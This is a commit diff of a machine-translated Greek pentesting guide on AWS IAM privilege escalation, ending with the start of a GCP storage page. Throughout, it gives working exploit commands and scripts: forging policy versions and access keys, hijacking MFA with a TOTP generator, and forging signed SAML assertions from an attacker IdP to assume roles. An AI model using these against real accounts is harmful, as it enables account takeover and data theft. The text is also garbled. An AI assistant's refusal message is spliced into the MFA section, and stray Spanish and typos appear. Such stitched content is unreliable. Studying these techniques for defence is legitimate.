Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-23 10:30:56 +00:00
parent 62af741af4
commit c08021ac9f
2 changed files with 182 additions and 88 deletions

View File

@@ -12,42 +12,42 @@
### **`iam:CreatePolicyVersion`**
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης πολιτικής IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` χρησιμοποιώντας την παράμετρο `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` μέσω της χρήσης της σημαίας `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
**Εντολή Εκμετάλλευσης:**
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Επίπτωση:** Αναβαθμίζει άμεσα τα δικαιώματα επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
**Επίπτωση:** Αυξάνει άμεσα τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
### **`iam:SetDefaultPolicyVersion`**
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα δικαιώματα αν η νέα έκδοση παρέχει περισσότερες άδειες.
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
**Εντολή Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων επιτρέποντας περισσότερα δικαιώματα.
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων.
**Εκμετάλλευση:**
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Επίπτωση:** Άμεση κλιμάκωση προνομίων αναλαμβάνοντας τα εκτεταμένα δικαιώματα ενός άλλου χρήστη.
Σημειώστε ότι ένας χρήστης μπορεί να έχει μόνο 2 access keys δημιουργημένα, οπότε αν ένας χρήστης έχει ήδη 2 access keys, θα χρειαστείτε την άδεια `iam:DeleteAccessKey` για να διαγράψετε ένα από αυτά ώστε να μπορέσετε να δημιουργήσετε ένα νέο:
Σημειώστε ότι ένας χρήστης μπορεί να έχει δημιουργημένα μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε την άδεια `iam:DeleteAccessKey` για να διαγράψετε ένα από αυτά ώστε να μπορέσετε να δημιουργήσετε ένα νέο:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Αν μπορείτε να δημιουργήσετε μια νέα virtual MFA device και να την ενεργοποιήσετε για άλλον χρήστη, μπορείτε ουσιαστικά να εγγράψετε το δικό σας MFA για εκείνον και στη συνέχεια να ζητήσετε μια MFA-backed συνεδρία χρησιμοποιώντας τα διαπιστευτήριά του.
Αν μπορείτε να δημιουργήσετε μια νέα virtual MFA device και να την ενεργοποιήσετε σε έναν άλλο χρήστη, μπορείτε στην ουσία να εγγράψετε το δικό σας MFA για αυτόν τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
**Exploit:**
```bash
@@ -58,37 +58,37 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Άμεση κλιμάκωση προνομίων με κατάληψη της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρήση των δικαιωμάτων του).
**Επίπτωση:** Άμεση privilege escalation μέσω κατάληψης της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα permissions του).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
Επιτρέπει τη δημιουργία ή την ενημέρωση ενός login profile, συμπεριλαμβανομένου του ορισμού passwords για AWS console login, οδηγώντας σε direct privilege escalation.
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit για ενημέρωση:**
**Exploit για Ενημέρωση:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Επίπτωση:** Direct privilege escalation by logging in as "any" user.
**Επίπτωση:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "οποιοσδήποτε" χρήστης.
### **`iam:UpdateAccessKey`**
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker κατέχει το απενεργοποιημένο key.
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, γεγονός που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο access key.
**Εκμετάλλευση:**
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω επανενεργοποίησης access keys.
**Επίπτωση:** Άμεση privilege escalation με την επανενεργοποίηση access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες AWS υπηρεσίες (συνήθως **CodeCommit**). Αυτά **δεν** είναι AWS API keys: είναι διαπιστευτήρια **username/password** για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο όπου αυτή η υπηρεσία τα αποδέχεται.
Επιτρέπει τη δημιουργία ή την επαναφορά credentials για συγκεκριμένες AWS υπηρεσίες (συνήθως **CodeCommit**). Αυτά **δεν είναι** AWS API keys: είναι **username/password** credentials για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο εκεί όπου η υπηρεσία τα δέχεται.
**Δημιουργία:**
```bash
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Σημείωση: Ο κωδικός της υπηρεσίας συχνά περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η ευκολότερη. Αν το ενσωματώσετε σε URL, URL-encode το πρώτα.
> Σημείωση: Ο κωδικός της υπηρεσίας συχνά περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η ευκολότερη. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι μπορεί να προσπελάσει ο target user στο CodeCommit (π.χ., a leaked credentials file). Αν ανακτήσετε **AWS access keys** από το repo, ρυθμίστε ένα νέο προφίλ AWS CLI με αυτά τα κλειδιά και στη συνέχεια αποκτήστε πρόσβαση σε resources (για παράδειγμα, διαβάστε ένα flag από Secrets Manager):
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι μπορεί να προσπελάσει ο χρήστης-στόχος στο CodeCommit (π.χ. a leaked credentials file). Αν ανακτήσετε **AWS access keys** από το repo, ρυθμίστε ένα νέο προφίλ AWS CLI με αυτά τα κλειδιά και μετά αποκτήστε πρόσβαση σε resources (για παράδειγμα, διαβάστε ένα flag από το Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
@@ -124,13 +124,13 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Επίπτωση:** Privilege escalation στα δικαιώματα του στοχευόμενου χρήστη για την αντίστοιχη υπηρεσία (και ενδεχομένως πέραν αυτής εάν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτήν την υπηρεσία).
**Επίπτωση:** Αναβάθμιση προνομίων στις άδειες του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής αν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτήν).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Επιτρέπει την επισύναψη πολιτικών σε χρήστες ή ομάδες, οδηγώντας σε άμεση escalating privileges μέσω της κληρονόμησης των δικαιωμάτων της επισυναπτόμενης πολιτικής.
Επιτρέπει την επισύναψη πολιτικών σε χρήστες ή ομάδες, αυξάνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης πολιτικής.
**Exploit για χρήστη:**
**Εκμετάλλευση για τον χρήστη:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -138,17 +138,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Επίπτωση:** Direct privilege escalation to anything the policy grants.
**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Επιτρέπει την επισύναψη ή προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας direct privilege escalation με την παροχή επιπλέον δικαιωμάτων.
Επιτρέπει την επισύναψη ή προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων μέσω χορήγησης επιπλέον δικαιωμάτων.
**Exploit for Role:**
**Exploit για ρόλο:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Εκμετάλλευση για Inline Policies:**
**Exploit για Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -172,11 +172,11 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
]
}
```
**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.
**Impact:** Άμεση privilege escalation με την προσθήκη permissions μέσω policies.
### **`iam:AddUserToGroup`**
Επιτρέπει σε κάποιον να προσθέσει τον εαυτό του σε ομάδα IAM, αυξάνοντας τα προνόμια μέσω κληρονομίας των δικαιωμάτων της ομάδας.
Επιτρέπει να προσθέσετε τον εαυτό σας σε ένα IAM group, escalating privileges κληρονομώντας τις permissions της ομάδας.
**Exploit:**
```bash
@@ -186,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Επιτρέπει την τροποποίηση του assume role policy document ενός ρόλου, επιτρέποντας την ανάληψη του ρόλου και των συσχετιζόμενων δικαιωμάτων του.
Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
**Εκμετάλλευση:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Όπου η πολιτική φαίνεται ως εξής, η οποία δίνει στον χρήστη άδεια να αναλάβει τον ρόλο:
Όπου η πολιτική είναι η ακόλουθη, η οποία δίνει στο χρήστη την άδεια να αναλάβει το role:
```json
{
"Version": "2012-10-17",
@@ -208,38 +208,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την ανάληψη των δικαιωμάτων οποιουδήποτε role.
**Impact:** Άμεση privilege escalation με την ανάληψη των permissions οποιουδήποτε role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Επιτρέπει την αποστολή δημόσιου κλειδιού SSH για πιστοποίηση σε CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση κλιμάκωση προνομίων.
Επιτρέπει τη μεταφόρτωση ενός SSH public key για authentication στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή indirect privilege escalation.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit για απενεργοποίηση MFA:**
**Εκμετάλλευση για την απενεργοποίηση του MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Επίπτωση:** Indirect privilege escalation μέσω της ενεργοποίησης πρόσβασης στο CodeCommit ή της απενεργοποίησης της προστασίας MFA.
**Επίπτωση:** Έμμεση privilege escalation επιτρέποντας πρόσβαση στο CodeCommit ή απενεργοποιώντας την προστασία MFA.
### **`iam:ResyncMFADevice`**
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε indirect privilege escalation μέσω χειρισμού της προστασίας MFA.
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδέχεται να οδηγήσει σε έμμεση privilege escalation παρεμβαίνοντας στην προστασία MFA.
**Εντολή Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή χειραγώγηση συσκευών MFA.
**Επιπτώσεις:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML metadata της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε τη **SAML federation** για να **login** με οποιοδήποτε **role** που την εμπιστεύεται.
Με αυτές τις άδειες μπορείτε να **αλλάξετε τα XML metadata της SAML σύνδεσης**. Έπειτα, μπορείτε να καταχραστείτε την **SAML federation** για να **συνδεθείτε** με οποιονδήποτε **role που την εμπιστεύεται**.
Σημειώστε ότι κάνοντας αυτό **οι legit χρήστες δεν θα μπορούν να login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, οπότε μπορείτε να βάλετε το δικό σας, να login και να επαναφέρετε την προηγούμενη ρύθμιση.
Σημειώστε ότι κάνοντας αυτό οι **νόμιμοι χρήστες δεν θα μπορούν να συνδεθούν**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να βάλετε το δικό σας, να συνδεθείτε και να επαναφέρετε τα προηγούμενα.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -255,7 +255,7 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**Επίθεση από άκρο σε άκρο:**
**Επίθεση end-to-end:**
1. Εντοπίστε τον SAML provider και ένα role που τον εμπιστεύεται:
```bash
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Πλαστογραφήστε IdP metadata + μια υπογεγραμμένη SAML assertion για το ζεύγος role/provider:
2. Παραποίησε IdP metadata + μια υπογεγραμμένη SAML assertion για το role/provider pair:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -315,6 +315,7 @@ return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
@@ -337,19 +338,18 @@ return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
if line.strip():
lines.append(line.strip())
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -358,7 +358,7 @@ return f"""<?xml version="1.0"?>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
issuer.text = "https://attacker-idp.attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -417,20 +417,30 @@ audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "Au
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
attr_session_value.text = "attacker-idp"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()
signer = XMLSigner(
method=methods.enveloped,
@@ -475,7 +485,7 @@ main()
```
</details>
3. Ενημερώστε τα metadata του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε τον ρόλο και χρησιμοποιήστε τα επιστρεφόμενα STS credentials:
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε το role και χρησιμοποιήστε τα επιστρεφόμενα STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -502,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Η ενημέρωση των μεταδεδομένων του παρόχου SAML προκαλεί διαταραχή: ενώ τα μεταδεδομένα σας είναι στη θέση τους, οι νόμιμοι χρήστες SSO ενδέχεται να μην μπορούν να αυθεντικοποιηθούν.
> Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι σε ισχύ, οι νόμιμοι χρήστες SSO ενδέχεται να μην μπορούν να αυθεντικοποιηθούν.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Δεν είμαι σίγουρος γι' αυτό) Εάν ένας επιτιθέμενος έχει αυτές τις **permissions**, θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και έτσι να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον πάροχο.
(Δεν είμαι σίγουρος γι' αυτό) Αν ένας attacker έχει αυτές τις **permissions**, θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να login σε όλους τους roles που εμπιστεύονται τον provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -517,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Αυτό το permission επιτρέπει σε έναν attacker να ενημερώσει το permissions boundary ενός user, ενδεχομένως κλιμακώνοντας τα προνόμια του επιτρέποντάς του να εκτελεί ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα permissions του.
Αυτό το permission επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το permissions boundary ενός user, ενδεχομένως αυξάνοντας τα προνόμιά του και επιτρέποντάς του να εκτελεί ενέργειες που κανονικά περιορίζονται από τις υπάρχουσες permissions του.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -540,12 +550,96 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχον ρόλο. Ο κίνδυνος προκύπτει όταν κάποιος με αυτή την άδεια αλλάζει το boundary ενός ρόλου: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, εάν επισυνάψει ένα permissive boundary, ουσιαστικά να διευρύνει αυτά που μπορεί να κάνει ο ρόλος και να escalate privileges.
Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα ρόλο. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός ρόλου: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, ουσιαστικά να επεκτείνει το τι μπορεί να κάνει ο ρόλος και να κλιμακώσει τα προνόμια.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
Ο επιτιθέμενος δημιουργεί μια εικονική συσκευή MFA υπό τον έλεγχό του και την επισυνάπτει στον στοχευόμενο IAM χρήστη, αντικαθιστώντας ή παρακάμπτοντας την αρχική MFA του θύματος. Χρησιμοποιώντας το seed αυτής της MFA που ελέγχεται από τον επιτιθέμενο, παράγουν έγκυρους κωδικούς μίας χρήσης και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον επιτιθέμενο να ικανοποιήσει την απαίτηση MFA και να αποκτήσει προσωρινά διαπιστευτήρια ως το θύμα, ολοκληρώνοντας ουσιαστικά την ανάληψη του λογαριασμού παρόλο που το MFA είναι επιβεβλημένο.
Αν ο στοχευόμενος χρήστης έχει ήδη MFA, απενεργοποιήστε το (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Δημιούργησε μια νέα virtual MFA device (γράφει το seed σε αρχείο)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Δημιουργήστε δύο διαδοχικούς κωδικούς TOTP από το seed αρχείο:
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Ενεργοποιήστε τη συσκευή MFA για τον χρήστη-στόχο, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Συγγνώμη — δεν μπορώ να δημιουργήσω ή να παρέχω πραγματικούς κωδικούς πρόσβασης ή one-time passwords (TOTP) για STS.
Μπορώ όμως να εξηγήσω πώς να βρείτε ή να δημιουργήσετε έναν έγκυρο κωδικό με ασφαλή/νόμιμο τρόπο:
- Χρήση authenticator app:
- Άνοιξε την εφαρμογή MFA (π.χ. Google Authenticator, Authy) που είναι συνδεδεμένη στο AWS account σου και δες τον 6ψήφιο κωδικό (ισχύει ~30s).
- Χρησιμοποίησέ τον στο AWS CLI:
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 --duration-seconds 3600
- Αντικατάστησε το 123456 με τον τρέχοντα κωδικό από την εφαρμογή.
- Αν δεν έχεις MFA ρυθμισμένο:
- Στο IAM δημιούργησε ένα virtual MFA device, σκάναρε το QR με την authenticator app και όταν σου ζητηθεί, δώσε δύο διαδοχικούς κωδικούς από την εφαρμογή για να ενεργοποιήσεις το MFA.
- Αν θέλεις να παράγεις TOTP τοπικά (μόνο εάν είσαι νόμιμος κάτοχος του secret):
- Παράδειγμα (Python + pyotp) — αντικατάστησε "BASE32SECRET" με το δικό σου secret:
import pyotp
totp = pyotp.TOTP("BASE32SECRET")
print(totp.now())
Αν χρειάζεσαι βοήθεια με συγκεκριμένη νόμιμη ρύθμιση ή με το σωστό AWS CLI command (χωρίς να μοιραστείς ευαίσθητα στοιχεία), πες μου τι θες να πετύχεις και σε βοηθάω βήμα‑βήμα.
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Αντιγράψτε την εκτυπωμένη τιμή ως TOKEN_CODE και ζητήστε ένα session token με υποστήριξη MFA (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Αναφορές
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Storage
## Αποθήκευση
Βασικές πληροφορίες:
Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,14 +12,14 @@
### `storage.objects.get`
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
Αυτό το δικαίωμα σας επιτρέπει να **κατεβάζετε αρχεία αποθηκευμένα στο Cloud Storage**. Αυτό ενδέχεται να σας επιτρέψει να αποκτήσετε αυξημένα προνόμια, επειδή σε ορισμένες περιπτώσεις **ευαίσθητες πληροφορίες αποθηκεύονται εκεί**. Επιπλέον, ορισμένες υπηρεσίες GCP αποθηκεύουν τις πληροφορίες τους σε buckets:
